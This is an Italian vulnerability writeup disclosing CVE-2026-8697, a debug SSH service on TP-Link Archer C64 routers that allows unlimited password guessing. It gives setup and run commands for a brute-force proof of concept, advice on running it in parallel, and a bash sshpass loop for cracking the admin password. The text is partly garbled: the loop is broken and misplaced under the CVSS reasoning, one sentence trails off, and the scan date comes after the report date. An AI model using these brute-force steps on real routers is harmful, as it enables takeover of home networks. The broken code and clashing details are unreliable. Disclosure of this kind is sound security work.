
Writeup dettagliato su CVE-2026-8697 con exploit POC per un bypass del rate-limit di login sui router TP-Link Archer C64 tramite un servizio SSH di debug, che consente attacchi di forza bruta sulle password non autenticati.
CVE-2026-8697 è un difetto logico nel sistema operativo del TP-Link Archer C64 (chiamato TPOS nel messaggio di debug). Consente a qualsiasi utente non privilegiato connesso al router di aggirare il limite di tentativi dell'interfaccia web utilizzando un servizio SSH residuo. Un semplice script Python può essere utilizzato per provare molte password in breve tempo e ottenere pieno accesso amministrativo al router.
POC: poc.py
Il router dispone di un servizio SSH di debug che non concede una shell sul router, ma si limita a terminare quando viene inserita la password corretta. Tuttavia, utilizza la stessa password dell'interfaccia di amministrazione e non ha né limiti di tentativi né policy di blocco. Può quindi essere usato come un oracolo di autenticazione ad alta velocità per forzare la password. Questa vulnerabilità può essere sfruttata da dispositivi IoT dannosi o compromessi sulla rete per ottenere pieno accesso amministrativo al router. Un attaccante non può ottenere una shell tramite questa interfaccia, ma può facilmente verificare le credenziali per compromettere l'interfaccia web di gestione principale.
Questa vulnerabilità è stata corretta nella versione del firmware 1.15.0, che rimuove semplicemente il servizio. Per testare il tuo router, usa questo comando (Linux/macOS):
timeout 10 nc -vz 192.168.0.1 22
echo $?
Sostituisci l'indirizzo IP con quello che usi per connetterti all'interfaccia web del router. Se l'output è 0 o mostra succeeded!, il tuo router è vulnerabile. In caso contrario, non lo è.
Su Windows, esegui quanto segue in PowerShell:
tnc 192.168.0.1 -Port 22
Se mostra TcpTestSucceeded : True, il tuo router è vulnerabile. Altrimenti, se rimane in sospeso indefinitamente o lo mostra come False, non è vulnerabile.
Il bug è interamente di natura logica e non richiede corruzione della memoria, bypass di ASLR o vincere condizioni di gara (race condition).
All'epoca stavo imparando Nmap e per divertimento ho deciso di scansionare il mio router. Non stavo cercando vulnerabilità, ma ho notato un servizio SSH aperto.
$ sudo nmap -A -T4 192.168.0.1
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-22 20:06 +0600
Nmap scan report for 192.168.0.1
Host is up (0.0028s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.0 (protocol 2.0)
| ssh-hostkey:
|_ 1024 c3:db:85:33:94:d5:f7:c9:91:18:a0:73:5c:1a:aa:a5 (DSA)
53/tcp open tcpwrapped
80/tcp open http TP-LINK router http config
|_http-title: Opening...
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=tplinkwifi.net/countryName=CN
| Subject Alternative Name: DNS:tplinkwifi.net, IP Address:192.168.0.1
| Not valid before: 2010-01-01T00:00:00
|_Not valid after: 2030-12-31T00:00:00
|_ssl-date: TLS randomness does not represent time
MAC Address: 78:8C:B5:25:3B:AF (TP-Link Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Canon imageRUNNER C5185 printer or Mercusys AC12G WAP (96%), Canon imageRUNNER C2380 or C2880i or Xerox Phaser 8860MFP printer (92%), Fujitsu Externus DX80 or IBM DCS9900 NAS device (92%), VxWorks (92%), Avaya 4526GTX switch (92%), Nortel CS1000M VoIP PBX or Xerox Phaser 8560DT printer (88%), Aastra Dialog 4425 IP phone (87%), HP ProCurve 3500yl, 5406zl, or 6200yl switch or UTStarcom F1000 VoIP phone (87%), Apple AirPort Express WAP or AMX NI-3100 controller (VxWorks) (86%), Xerox ApeosPort-IV C3370 printer (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Il log sopra mostra un servizio SSH che esegue OpenSSH 6.6.0 (una versione legacy del 2014, ma la versione non è rilevante per questo). Vedendo la versione molto vecchia, ho sospettato che potesse essere usata da un attaccante e ho provato a connettermi via SSH con l'intenzione di ottenere una shell e aggiornare il firmware. In quel momento stavo cercando di mettere in sicurezza il mio router, non di trovare vulnerabilità. Tuttavia, la connessione presentava un problema interessante: gli algoritmi di host key e di chiave pubblica non erano supportati dalla mia versione di OpenSSH. Anche l'uso di -o non funzionava sul mio sistema, quindi ho dovuto usare un container debian:bullseye-slim che ha un client OpenSSH con supporto per gli algoritmi diffie-hellman-group14-sha1 e ssh-dss.
All'interno del container, dopo aver installato il client OpenSSH, sono riuscito a connettermi al server SSH.
ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 \
-o HostKeyAlgorithms=+ssh-dss [email protected]
Ho usato questo comando e alla fine sono riuscito a connettermi al server SSH, che mi ha accolto con il messaggio TPOS 5 IPSSH Test e una richiesta di password. Tuttavia, dopo aver inserito la password, la connessione si chiudeva immediatamente. Ho anche provato a eseguire direttamente un comando, ma non lo eseguiva. Ho capito che non c'era una shell, quindi un attaccante non poteva ottenere accesso al mio router. Quindi il mio router è al sicuro, giusto? Beh, non proprio. Ho capito che anche se non si otteneva alcun accesso, si veniva comunque a sapere se la password era corretta o no. E quella password era la stessa dell'interfaccia web, e non c'erano assolutamente limiti di tentativi o altro per fermare un attacco di forza bruta. È stato allora che mi è venuta l'idea di trasformare tutto questo in una CVE. Ho provato ad automatizzare l'attacco. Prima ho provato a usare sshpass in un loop bash, ma non era possibile usare più password per connessione, quindi ho provato a creare uno script Python. Questo è il POC allegato.
Per usare il POC, crea prima un venv e installa pexpect. Nota che lo script non usa il modulo pxssh di Pexpect poiché non supporta provare più password in una singola connessione.
python3 -m venv venv
source venv/bin/activate
pip install pexpect
Salva lo script in poc.py ed eseguilo. Puoi opzionalmente passare come primo argomento il percorso di una lista di password separate da newline. Se non lo fai, userà i numeri da 1 a 100 come password (per testare la velocità).
python3 poc.py list.txt
Puoi parallelizzare l'attacco eseguendo più istanze con liste diverse. Se esegui più di 3 istanze, inizierai a vedere errori di connessione. Lo script garantisce comunque che tutte le password vengano provate.
python3 poc.py list1.txt &
python3 poc.py list2.txt &
python3 poc.py list3.txt &
Un attaccante può usare un dispositivo IoT dannoso o compromesso sulla rete per forzare la password e ottenere accesso amministrativo all'interfaccia di amministrazione. L'utente non ha alcuna indicazione che questo stia accadendo, e l'attaccante può portare avanti l'operazione a lungo senza essere rilevato. Una volta ottenuto l'accesso all'interfaccia di amministrazione, l'attaccante può modificare le impostazioni DNS per effettuare DNS hijacking, cambiare la password del Wi-Fi per escludere gli utenti, usare il routing statico per intercettare il traffico non crittografato o bloccare l'accesso alla rete instradando verso un IP inesistente, inoltrare porte, disattivare il firewall/ALG e altro ancora.
Il vettore di attacco CVSS 4.0 per questa vulnerabilità è:
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H
, che corrisponde a un punteggio di 9.3 Critico. La mia motivazione per ogni metrica è la seguente:
while read pass;do
sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-dss -o PubkeyAcceptedKeyTypes=+ssh-dss -o NumberOfPasswordPrompts=100000 [email protected]
if [ $? -eq 0 ]; then
echo "Password found: $PASS"
break
fi
done < list.txt
(nota che questo è più lento dello script POC poiché non prova più password per connessione)
AV:A.Il vendor (TP-Link) ha pubblicato questa vulnerabilità con un punteggio di 8.7 (Alto)
con il vettore:
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Tuttavia, questa ricerca sostiene che l'Impatto sul Sistema Successivo non dovrebbe essere valutato come "Nessuno". Poiché il router funge da gateway principale per tutti i dispositivi connessi:
Pertanto, una rappresentazione più accurata del rischio per la rete domestica è 9.3/Critico come discusso sopra.
L'aggiornamento del firmware del router alla versione 1.15.0 Build 250729 o successiva risolve il problema.
Questa vulnerabilità è stata scoperta e segnalata da Tanjim Kamal.
| Data | Evento |
|---|
| 2026-02-26 | Vulnerabilità segnalata al TP-Link Product Security Team |
| 2026-03-03 | Ricevuta conferma iniziale |
| 2026-03-14 | TP-Link conferma di essere nella fase di verifica e correzione |
| 2026-04-22 | TP-Link afferma che la vulnerabilità è stata corretta nella versione del firmware 1.15.0, ma il firmware non è ancora disponibile pubblicamente |
| 2026-04-24 | Il firmware è disponibile pubblicamente |
| 2026-04-26 | Patch confermata e richiesto l'ID CVE |
| 2026-05-15 | Inviato sollecito per la scadenza dei 90 giorni a TP-Link |
| 2026-05-15 | ID CVE riservato |
| 2026-05-29 | Divulgazione pubblica |
| 2026-05-29 | Pubblicato il writeup (questo documento) |